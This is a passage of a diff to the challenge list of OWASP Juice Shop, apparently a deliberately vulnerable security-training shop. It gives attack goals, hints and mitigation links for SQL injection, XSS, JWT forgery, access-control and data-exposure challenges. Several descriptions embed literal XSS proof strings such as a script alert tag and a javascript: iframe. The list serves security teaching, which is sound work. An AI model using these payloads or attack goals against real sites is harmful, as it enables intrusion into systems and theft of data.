'Gain access to any access log file of the server.' + difficulty: 4 + hint: 'Who would want a server access log to be accessible through a web application?' + hintUrl: 'https://pwning.owasp-juice.shop/part2/sensitive-data-exposure.html#gain-access-to-any-access-log-file-of-the-server' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html' + key: accessLogDisclosureChallenge +- + name: 'Admin Registration' + category: 'Improper Input Validation' + description: 'Register as a user with administrator privileges.' + difficulty: 3 + hint: 'You have to assign the unassignable.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/improper-input-validation.html#register-as-a-user-with-administrator-privileges' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html' + key: registerAdminChallenge +- + name: 'Admin Section' + category: 'Broken Access Control' + tags: + - Good for Demos + description: 'Access the administration section of the store.' + difficulty: 2 + hint: 'It is just slightly harder to find than the score board link.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-access-control.html#access-the-administration-section-of-the-store' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html' + key: adminSectionChallenge +- + name: 'Arbitrary File Write' + category: 'Vulnerable Components' + tags: + - Danger Zone + - Prerequisite + description: 'Overwrite the Legal Information file.' + difficulty: 6 + hint: 'Look out for a tweet praising new functionality of the web shop. Then find a third party vulnerability associated with it.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/vulnerable-components.html#overwrite-the-legal-information-file' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html' + key: fileWriteChallenge + disabledEnv: + - Docker + - Heroku + - Gitpod +- + name: 'Bjoern''s Favorite Pet' + category: 'Broken Authentication' + tags: + - OSINT + description: 'Reset the password of Bjoern''s OWASP account via the Forgot Password mechanism with the original answer to his security question.' + difficulty: 3 + hint: 'He might have spoilered it on at least one occasion where a camera was running. Maybe elsewhere as well.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-authentication.html#reset-the-password-of-bjoerns-owasp-account-via-the-forgot-password-mechanism' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html' + key: resetPasswordBjoernOwaspChallenge +- + name: 'Blockchain Hype' category: 'Security through Obscurity' - description: 'Find the carefully hidden ''Score Board'' page.' + tags: + - Contraption + - Code Analysis + description: 'Learn about the Token Sale before its official announcement.' + difficulty: 5 + hint: 'The developers truly believe in "Security through Obscurity" over actual access restrictions.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/security-through-obscurity.html#learn-about-the-token-sale-before-its-official-announcement' + mitigationUrl: ~ + key: tokenSaleChallenge +- + name: 'Blocked RCE DoS' + category: 'Insecure Deserialization' + tags: + - Danger Zone + description: 'Perform a Remote Code Execution that would keep a less hardened application busy forever.' + difficulty: 5 + hint: 'The feature you need to exploit for this challenge is not directly advertised anywhere.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/insecure-deserialization.html#perform-a-remote-code-execution-that-would-keep-a-less-hardened-application-busy-forever' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html' + key: rceChallenge + disabledEnv: + - Docker + - Heroku + - Gitpod +- + name: 'CAPTCHA Bypass' + category: 'Broken Anti Automation' + tags: + - Brute Force + description: 'Submit 10 or more customer feedbacks within 20 seconds.' + difficulty: 3 + hint: 'After finding a CAPTCHA bypass, write a script that automates feedback submission. Or open many browser tabs and be really quick.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-anti-automation.html#submit-10-or-more-customer-feedbacks-within-20-seconds' + mitigationUrl: ~ + key: captchaBypassChallenge +- + name: 'Change Bender''s Password' + category: 'Broken Authentication' + description: 'Change Bender''s password into slurmCl4ssic without using SQL Injection or Forgot Password.' + difficulty: 5 + hint: 'In previous releases this challenge was wrongly accused of being based on CSRF.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-authentication.html#change-benders-password-into-slurmcl4ssic-without-using-sql-injection-or-forgot-password' + mitigationUrl: ~ + key: changePasswordBenderChallenge +- + name: 'Christmas Special' + category: 'Injection' + description: 'Order the Christmas special offer of 2014.' + difficulty: 4 + hint: 'Find out how the application handles unavailable products and try to find a loophole.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/injection.html#order-the-christmas-special-offer-of-2014' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html' + key: christmasSpecialChallenge +- + name: 'CSP Bypass' + category: 'XSS' + tags: + - Danger Zone + description: 'Bypass the Content Security Policy and perform an XSS attack with <script>alert(`xss`)</script> on a legacy page within the application.' + difficulty: 4 + hint: 'What is even "better" than a legacy page with a homegrown RegEx sanitizer? Having CSP injection issues on the exact same page as well!' + hintUrl: 'https://pwning.owasp-juice.shop/part2/xss.html#bypass-the-content-security-policy-and-perform-an-xss-attack-on-a-legacy-page' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html' + key: usernameXssChallenge + disabledEnv: + - Docker + - Heroku + - Gitpod +- + name: 'Client-side XSS Protection' + category: 'XSS' + tags: + - Danger Zone + description: 'Perform a persisted XSS attack with <iframe src="javascript:alert(`xss`)"> bypassing a client-side security mechanism.' + difficulty: 3 + hint: 'Only some input fields validate their input. Even less of these are persisted in a way where their content is shown on another screen.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/xss.html#perform-a-persisted-xss-attack-bypassing-a-client-side-security-mechanism' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html' + key: persistedXssUserChallenge + disabledEnv: + - Docker + - Heroku + - Gitpod +- + name: 'Confidential Document' + category: 'Sensitive Data Exposure' + tags: + - Good for Demos + description: 'Access a confidential document.' difficulty: 1 - hint: 'Try to find a reference or clue behind the scenes. Or simply guess what URL the Score Board might have.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/score-board.html#find-the-carefully-hidden-score-board-page' - key: scoreBoardChallenge + hint: 'Analyze and tamper with links in the application that deliver a file directly.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/sensitive-data-exposure.html#access-a-confidential-document' + mitigationUrl: ~ + key: directoryListingChallenge +- + name: 'DOM XSS' + category: 'XSS' + tags: + - Tutorial + - Good for Demos + description: 'Perform a DOM XSS attack with <iframe src="javascript:alert(`xss`)">.' + difficulty: 1 + hint: 'Look for an input field where its content appears in the HTML when its form is submitted.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/xss.html#perform-a-dom-xss-attack' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html' + key: localXssChallenge + tutorial: + order: 2 +- + name: 'Database Schema' + category: 'Injection' + description: 'Exfiltrate the entire DB schema definition via SQL Injection.' + difficulty: 3 + hint: 'Find out where this information could come from. Then craft a UNION SELECT attack string against an endpoint that offers an unnecessary way to filter data.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/injection.html#exfiltrate-the-entire-db-schema-definition-via-sql-injection' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html' + key: dbSchemaChallenge +- + name: 'Deprecated Interface' + category: 'Security Misconfiguration' + tags: + - Contraption + - Prerequisite + description: 'Use a deprecated B2B interface that was not properly shut down.' + difficulty: 2 + hint: 'The developers who disabled the interface think they could go invisible by just closing their eyes.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/security-misconfiguration.html#use-a-deprecated-b2b-interface-that-was-not-properly-shut-down' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html' + key: deprecatedInterfaceChallenge +- + name: 'Easter Egg' + category: 'Broken Access Control' + tags: + - Shenanigans + - Contraption + - Good for Demos + description: 'Find the hidden easter egg.' + difficulty: 4 + hint: 'If you solved one of the three file access challenges, you already know where to find the easter egg.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-access-control.html#find-the-hidden-easter-egg' + mitigationUrl: ~ + key: easterEggLevelOneChallenge - name: 'Email Leak' category: 'Sensitive Data Exposure' description: 'Perform an unwanted information disclosure by accessing data cross-domain.' difficulty: 5 hint: 'Try to find and attack an endpoint that responds with user information. SQL Injection is not the solution here.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/sensitive-data-exposure.html#perform-an-unwanted-information-disclosure-by-accessing-data-cross-domain' + hintUrl: 'https://pwning.owasp-juice.shop/part2/sensitive-data-exposure.html#perform-an-unwanted-information-disclosure-by-accessing-data-cross-domain' + mitigationUrl: ~ key: emailLeakChallenge +- + name: 'Ephemeral Accountant' + category: 'Injection' + description: 'Log in with the (non-existing) accountant acc0unt4nt@juice-sh.op without ever registering that user.' + difficulty: 4 + hint: 'Try to create the needed user "out of thin air".' + hintUrl: 'https://pwning.owasp-juice.shop/part2/injection.html#log-in-with-the-non-existing-accountant-without-ever-registering-that-user' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html' + key: ephemeralAccountantChallenge - name: 'Error Handling' category: 'Security Misconfiguration' - description: 'Provoke an error that is not very gracefully handled.' + tags: + - Prerequisite + description: 'Provoke an error that is neither very gracefully nor consistently handled.' difficulty: 1 hint: 'Try to submit bad input to forms. Alternatively tamper with URL paths or parameters.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/security-misconfiguration.html#provoke-an-error-that-is-not-very-gracefully-handled' + hintUrl: 'https://pwning.owasp-juice.shop/part2/security-misconfiguration.html#provoke-an-error-that-is-neither-very-gracefully-nor-consistently-handled' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html' key: errorHandlingChallenge - - name: 'Forged Review' - category: 'Broken Access Control' - description: 'Post a product review as another user or edit any user''s existing review.' - difficulty: 3 - hint: 'Observe the flow of product review posting and editing and see if you can exploit it.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/broken-access-control.html#post-a-product-review-as-another-user-or-edit-any-users-existing-review' - key: forgedReviewChallenge -- - name: 'Login Admin' - category: 'Injection' - description: 'Log in with the administrator''s user account.' - difficulty: 2 - hint: 'Try different SQL Injection attack patterns depending whether you know the admin''s email address or not.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/injection.html#log-in-with-the-administrators-user-account' - key: loginAdminChallenge -- - name: 'Login Jim' - category: 'Injection' - description: 'Log in with Jim''s user account.' - difficulty: 3 - hint: 'Try cracking Jim''s password hash if you harvested it already. Alternatively, if you know Jim''s email address, try SQL Injection.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/injection.html#log-in-with-jims-user-account' - key: loginJimChallenge -- - name: 'Login Bender' - category: 'Injection' - description: 'Log in with Bender''s user account.' - difficulty: 3 - hint: 'If you know Bender''s email address, try SQL Injection. Bender''s password hash might not help you very much.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/injection.html#log-in-with-benders-user-account' - key: loginBenderChallenge + name: 'Expired Coupon' + category: 'Improper Input Validation' + description: 'Successfully redeem an expired campaign coupon code.' + difficulty: 4 + hint: 'Try to identify past special event or holiday campaigns of the shop first.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/improper-input-validation.html#successfully-redeem-an-expired-campaign-coupon-code' + mitigationUrl: ~ + key: manipulateClockChallenge - - name: 'Password Strength' - category: 'Broken Authentication' - description: 'Log in with the administrator''s user credentials without previously changing them or applying SQL Injection.' - difficulty: 2 - hint: 'This one should be equally easy to a) brute force, b) crack the password hash or c) simply guess.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/broken-authentication.html#log-in-with-the-administrators-user-credentials-without-previously-changing-them-or-applying-sql-injection' - key: weakPasswordChallenge + name: 'Extra Language' + category: 'Broken Anti Automation' + tags: + - Brute Force + description: 'Retrieve the language file that never made it into production.' + difficulty: 5 + hint: 'Brute force is not the only option for this challenge, but a perfectly viable one.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-anti-automation.html#retrieve-the-language-file-that-never-made-it-into-production' + mitigationUrl: ~ + key: extraLanguageChallenge - name: 'Five-Star Feedback' category: 'Broken Access Control' description: 'Get rid of all 5-star customer feedback.' difficulty: 2 hint: 'Once you found admin section of the application, this challenge is almost trivial.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/broken-access-control.html#get-rid-of-all-5-star-customer-feedback' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-access-control.html#get-rid-of-all-5-star-customer-feedback' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html' key: feedbackChallenge +- + name: 'Forged Coupon' + category: 'Cryptographic Issues' + tags: + - Good for Demos + - Code Analysis + description: 'Forge a coupon code that gives you a discount of at least 80%.' + difficulty: 6 + hint: 'Try either a) a knowledgable brute force attack or b) reverse engineering or c) some research in the cloud.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/cryptographic-issues.html#forge-a-coupon-code-that-gives-you-a-discount-of-at-least-80' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html' + key: forgedCouponChallenge - name: 'Forged Feedback' category: 'Broken Access Control' - description: 'Post some feedback in another users name.' + tags: + - Tutorial + description: "Post some feedback in another user's name." difficulty: 3 hint: 'You can solve this by tampering with the user interface or by intercepting the communication with the RESTful backend.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/broken-access-control.html#post-some-feedback-in-another-users-name' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-access-control.html#post-some-feedback-in-another-users-name' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html' key: forgedFeedbackChallenge + tutorial: + order: 8 - - name: 'Redirects Tier 1' - category: 'Forgotten Content' - description: 'Let us redirect you to a donation site that went out of business.' - difficulty: 1 - hint: 'We might have failed to take this out of our code properly.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/forgotten-content.html#let-us-redirect-you-to-a-donation-site-that-went-out-of-business' - key: redirectGratipayChallenge -- - name: 'Redirects Tier 2' - category: 'Roll your own Security' - description: 'Wherever you go, there you are.' - difficulty: 4 - hint: 'You have to find a way to beat the whitelist of allowed redirect URLs.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/roll-your-own-security.html#wherever-you-go-there-you-are' - key: redirectChallenge -- - name: 'Basket Access Tier 1' - category: 'Broken Access Control' - description: 'View another user''s shopping basket.' - difficulty: 2 - hint: 'Have an eye on the HTTP traffic while shopping. Alternatively try to find a client-side association of users to their basket.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/broken-access-control.html#access-someone-elses-basket' - key: basketAccessChallenge -- - name: 'Basket Access Tier 2' + name: 'Forged Review' category: 'Broken Access Control' - description: 'Manipulate another user''s basket.' - difficulty: 3 - hint: 'Have an eye on the HTTP traffic while adding items to basket.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/broken-access-control.html#manipulate-someone-elses-basket' - key: basketManipulateChallenge -- - name: 'Payback Time' - category: 'Improper Input Validation' - description: 'Place an order that makes you rich.' + description: 'Post a product review as another user or edit any user''s existing review.' difficulty: 3 - hint: 'You literally need to make the shop owe you any amount of money.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/improper-input-validation.html#place-an-order-that-makes-you-rich' - key: negativeOrderChallenge + hint: 'Observe the flow of product review posting and editing and see if you can exploit it.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-access-control.html#post-a-product-review-as-another-user-or-edit-any-users-existing-review' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html' + key: forgedReviewChallenge - - name: 'Confidential Document' - category: 'Sensitive Data Exposure' - description: 'Access a confidential document.' - difficulty: 1 - hint: 'Analyze and tamper with links in the application that deliver a file directly.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/sensitive-data-exposure.html#access-a-confidential-document' - key: directoryListingChallenge + name: 'Forged Signed JWT' + category: 'Vulnerable Components' + description: 'Forge an almost properly RSA-signed JWT token that impersonates the (non-existing) user rsa_lord@juice-sh.op.' + difficulty: 6 + hint: 'This challenge is explicitly not about acquiring the RSA private key used for JWT signing.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/vulnerable-components.html#forge-an-almost-properly-rsa-signed-jwt-token' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html' + key: jwtForgedChallenge + disabledEnv: + - Windows - name: 'Forgotten Developer Backup' - category: 'Roll your own Security' + category: 'Sensitive Data Exposure' + tags: + - Contraption + - Good for Demos + - Prerequisite description: 'Access a developer''s forgotten backup file.' difficulty: 4 hint: 'You need to trick a security mechanism into thinking that the file you want has a valid file type.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/roll-your-own-security.html#access-a-developers-forgotten-backup-file' + hintUrl: 'https://pwning.owasp-juice.shop/part2/sensitive-data-exposure.html#access-a-developers-forgotten-backup-file' + mitigationUrl: ~ key: forgottenDevBackupChallenge - name: 'Forgotten Sales Backup' - category: 'Security Misconfiguration' + category: 'Sensitive Data Exposure' + tags: + - Contraption description: 'Access a salesman''s forgotten backup file.' - difficulty: 3 + difficulty: 4 hint: 'You need to trick a security mechanism into thinking that the file you want has a valid file type.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/security-misconfiguration.html#access-a-salesmans-forgotten-backup-file' + hintUrl: 'https://pwning.owasp-juice.shop/part2/sensitive-data-exposure.html#access-a-salesmans-forgotten-backup-file' + mitigationUrl: ~ key: forgottenBackupChallenge - - name: 'Admin Section' - category: 'Broken Access Control' - description: 'Access the administration section of the store.' - difficulty: 1 - hint: 'It is just slightly harder to find than the score board link.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/broken-access-control.html#access-the-administration-section-of-the-store' - key: adminSectionChallenge + name: 'Frontend Typosquatting' + category: 'Vulnerable Components' + description: 'Inform the shop about a typosquatting imposter that dug itself deep into the frontend. (Mention the exact name of the culprit)' + difficulty: 5 + hint: 'This challenge has nothing to do with mistyping web domains. There is no conveniently misplaced file helping you with this one either. Or is there?' + hintUrl: 'https://pwning.owasp-juice.shop/part2/vulnerable-components.html#inform-the-shop-about-a-typosquatting-imposter-that-dug-itself-deep-into-the-frontend' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html' + key: typosquattingAngularChallenge - - name: 'Product Tampering' - category: 'Broken Access Control' - description: 'Change the href of the link within the OWASP SSL Advanced Forensic Tool (O-Saft) product description into http://kimminich.de.' + name: 'GDPR Data Erasure' + category: 'Broken Authentication' + description: 'Log in with Chris'' erased user account.' difficulty: 3 - hint: 'Look for one of the following: a) broken admin functionality, b) holes in RESTful API or c) possibility for SQL Injection.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/broken-access-control.html#change-the-href-of-the-link-within-the-o-saft-product-description' - key: changeProductChallenge + hint: 'Turns out that something is technically and legally wrong with the implementation of the "right to be forgotten" for users.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-authentication.html#log-in-with-chris-erased-user-account' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html' + key: ghostLoginChallenge - - name: 'Vulnerable Library' - category: 'Vulnerable Components' - description: 'Inform the shop about a vulnerable library it is using. (Mention the exact library name and version in your comment)' - difficulty: 4 - hint: 'Report one of two possible answers via the "Contact Us" form. Do not forget to submit the library''s version as well.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/vulnerable-components.html#inform-the-shop-about-a-vulnerable-library-it-is-using' - key: knownVulnerableComponentChallenge -- - name: 'Weird Crypto' + name: 'GDPR Data Theft' category: 'Sensitive Data Exposure' - description: 'Inform the shop about an algorithm or library it should definitely not use the way it does.' - difficulty: 2 - hint: 'Report one of four possible answers via the "Contact Us" form.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/sensitive-data-exposure.html#inform-the-shop-about-an-algorithm-or-library-it-should-definitely-not-use-the-way-it-does' - key: weirdCryptoChallenge -- - name: 'Easter Egg Tier 1' - category: 'Roll your own Security' - description: 'Find the hidden easter egg.' + description: 'Steal someone else''s personal data without using Injection.' difficulty: 4 - hint: 'If you solved one of the three file access challenges, you already know where to find the easter egg.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/roll-your-own-security.html#find-the-hidden-easter-egg' - key: easterEggLevelOneChallenge + hint: 'Trick the regular Data Export to give you more than actually belongs to you.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/sensitive-data-exposure.html#steal-someone-elses-personal-data-without-using-injection' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html' + key: dataExportChallenge - - name: 'Easter Egg Tier 2' - category: 'Security through Obscurity' - description: 'Apply some advanced cryptanalysis to find the real easter egg.' + name: 'HTTP-Header XSS' + category: 'XSS' + tags: + - Danger Zone + description: 'Perform a persisted XSS attack with <iframe src="javascript:alert(`xss`)"> through an HTTP header.' difficulty: 4 - hint: 'You might have to peel through several layers of tough-as-nails encryption for this challenge.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/security-through-obscurity.html#apply-some-advanced-cryptanalysis-to-find-the-real-easter-egg' - key: easterEggLevelTwoChallenge + hint: 'Finding a piece of displayed information that could originate from an HTTP header is part of this challenge.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/xss.html#perform-a-persisted-xss-attack-through-an-http-header' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html' + key: httpHeaderXssChallenge + disabledEnv: + - Docker + - Heroku + - Gitpod - - name: 'Forged Coupon' - category: 'Sensitive Data Exposure' - description: 'Forge a coupon code that gives you a discount of at least 80%.' + name: 'Imaginary Challenge' + category: 'Cryptographic Issues' + tags: + - Shenanigans + - Code Analysis + description: 'Solve challenge #999. Unfortunately, this challenge does not exist.' difficulty: 6 - hint: 'Try either a) a knowledgable brute force attack or b) reverse engineering.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/sensitive-data-exposure.html#forge-a-coupon-code-that-gives-you-a-discount-of-at-least-80' - key: forgedCouponChallenge + hint: 'You need to trick the hacking progress persistence feature into thinking you solved challenge #999.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/cryptographic-issues.html#solve-challenge-999' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html' + key: continueCodeChallenge - - name: 'Upload Size' - category: 'Improper Input Validation' - description: 'Upload a file larger than 100 kB.' - difficulty: 3 - hint: 'You can attach a small file to the "File Complaint" form. Investigate how this upload actually works.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/improper-input-validation.html#upload-a-file-larger-than-100-kb' - key: uploadSizeChallenge + name: 'Leaked Access Logs' + category: 'Sensitive Data Exposure' + tags: + - OSINT + description: 'Dumpster dive the Internet for a leaked password and log in to the original user account it belongs to. (Creating a new account with the same password does not qualify as a solution.)' + difficulty: 5 + hint: 'Once you have it, a technique called "Password Spraying" might prove useful.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/sensitive-data-exposure.html#dumpster-dive-the-internet-for-a-leaked-password-and-log-in-to-the-original-user-account-it-belongs-to' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html' + key: dlpPasswordSprayingChallenge - - name: 'Upload Type' - category: 'Improper Input Validation' - description: 'Upload a file that has no .pdf extension.' - difficulty: 3 - hint: 'You can attach a PDF file to the "File Complaint" form. Investigate how this upload actually works.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/improper-input-validation.html#upload-a-file-that-has-no-pdf-extension' - key: uploadTypeChallenge + name: 'Leaked Unsafe Product' + category: 'Sensitive Data Exposure' + tags: + - Shenanigans + - OSINT + description: 'Identify an unsafe product that was removed from the shop and inform the shop which ingredients are dangerous.' + difficulty: 4 + hint: 'Your own SQLi and someone else''s Ctrl-V will be your accomplices in this challenge!' + hintUrl: 'https://pwning.owasp-juice.shop/part2/sensitive-data-exposure.html#identify-an-unsafe-product-that-was-removed-from-the-shop-and-inform-the-shop-which-ingredients-are-dangerous' + mitigationUrl: ~ + key: dlpPastebinDataLeakChallenge - - name: 'Arbitrary File Write' + name: 'Legacy Typosquatting' category: 'Vulnerable Components' - description: 'Overwrite the Legal Information file.' - difficulty: 6 - hint: 'Look out for a tweet praising new functionality of the web shop.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/vulnerable-components.html#overwrite-the-legal-information-file' - key: fileWriteChallenge -- - name: 'Extra Language' - category: 'Forgotten Content' - description: 'Retrieve the language file that never made it into production.' - difficulty: 5 - hint: 'Brute force is not the only option for this challenge, but a perfectly viable one.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/forgotten-content.html#retrieve-the-language-file-that-never-made-it-into-production' - key: extraLanguageChallenge -- - name: 'CAPTCHA Bypass' - category: 'Roll your own Security' - description: 'Submit 10 or more customer feedbacks within 10 seconds.' - difficulty: 5 - hint: 'After finding a CAPTCHA bypass, write a script that automates feedback submission. Or open many browser tabs and be really quick.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/roll-your-own-security.html#submit-10-or-more-customer-feedbacks-within-10-seconds' - key: captchaBypassChallenge + description: 'Inform the shop about a typosquatting trick it has been a victim of at least in v6.2.0-SNAPSHOT. (Mention the exact name of the culprit)' + difficulty: 4 + hint: 'This challenge has nothing to do with mistyping web domains. Investigate the forgotten developer''s backup file instead.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/vulnerable-components.html#inform-the-shop-about-a-typosquatting-trick-it-has-been-a-victim-of' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html' + key: typosquattingNpmChallenge - - name: 'Zero Stars' - category: 'Improper Input Validation' - description: 'Give a devastating zero-star feedback to the store.' - difficulty: 1 - hint: 'Before you invest time bypassing the API, you might want to play around with the UI a bit.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/improper-input-validation.html#give-a-devastating-zero-star-feedback-to-the-store' - key: zeroStarsChallenge + name: 'Login Admin' + category: 'Injection' + tags: + - Tutorial + - Good for Demos + description: 'Log in with the administrator''s user account.' + difficulty: 2 + hint: 'Try different SQL Injection attack patterns depending whether you know the admin''s email address or not.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/injection.html#log-in-with-the-administrators-user-account' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html' + key: loginAdminChallenge + tutorial: + order: 5 - - name: 'Imaginary Challenge' + name: 'Login Amy' category: 'Sensitive Data Exposure' - description: 'Solve challenge #999. Unfortunately, this challenge does not exist.' - difficulty: 6 - hint: 'You need to trick the hacking progress persistence feature into thinking you solved challenge #999.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/sensitive-data-exposure.html#solve-challenge-999' - key: continueCodeChallenge + tags: + - OSINT + description: 'Log in with Amy''s original user credentials. (This could take 93.83 billion trillion trillion centuries to brute force, but luckily she did not read the "One Important Final Note")' + difficulty: 3 + hint: 'This challenge will make you go after a needle in a haystack.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/sensitive-data-exposure.html#log-in-with-amys-original-user-credentials' + mitigationUrl: ~ + key: loginAmyChallenge +- + name: 'Login Bender' + category: 'Injection' + tags: + - Tutorial + description: 'Log in with Bender''s user account.' + difficulty: 3 + hint: 'If you know Bender''s email address, try SQL Injection. Bender''s password hash might not help you very much.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/injection.html#log-in-with-benders-user-account' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html' + key: loginBenderChallenge + tutorial: + order: 10 - name: 'Login Bjoern' category: 'Broken Authentication' + tags: + - Code Analysis description: 'Log in with Bjoern''s Gmail account without previously changing his password, applying SQL Injection, or hacking his Google account.' difficulty: 4 - hint: 'The security flaw behind this challenge is 100% Juice Shop''s fault and 0% Google''s.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/broken-authentication.html#log-in-with-bjoerns-gmail-account' + hint: 'The security flaw behind this challenge is 100% OWASP Juice Shop''s fault and 0% Google''s.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-authentication.html#log-in-with-bjoerns-gmail-account' + mitigationUrl: 